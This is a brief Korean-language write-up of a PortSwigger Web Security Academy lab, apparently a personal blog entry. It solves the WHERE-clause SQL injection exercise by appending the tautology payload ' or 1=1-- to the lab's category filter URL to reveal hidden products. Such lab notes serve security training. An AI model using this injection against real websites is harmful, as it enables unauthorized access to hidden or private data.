portswigger-academy
SQL-injection - SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
Dork94
2020. 7. 14. 16:32
- 음.. 이거 LOS 할때 했던건데.. 제일 처음 문제인데 왜 마지막에 있는 지는 모르겠지만, 카테고리 필터에 SQL injection을 해서 모든 결과를 얻어내면 되는 문제.
- [https://ac7a1f091f04c4ec807b233300ac0040.web-security-academy.net/filter?category=Accessories%27%20or%201=1--](https://ac7a1f091f04c4ec807b233300ac0040.web-security-academy.net/filter?category=Accessories' or 1=1--)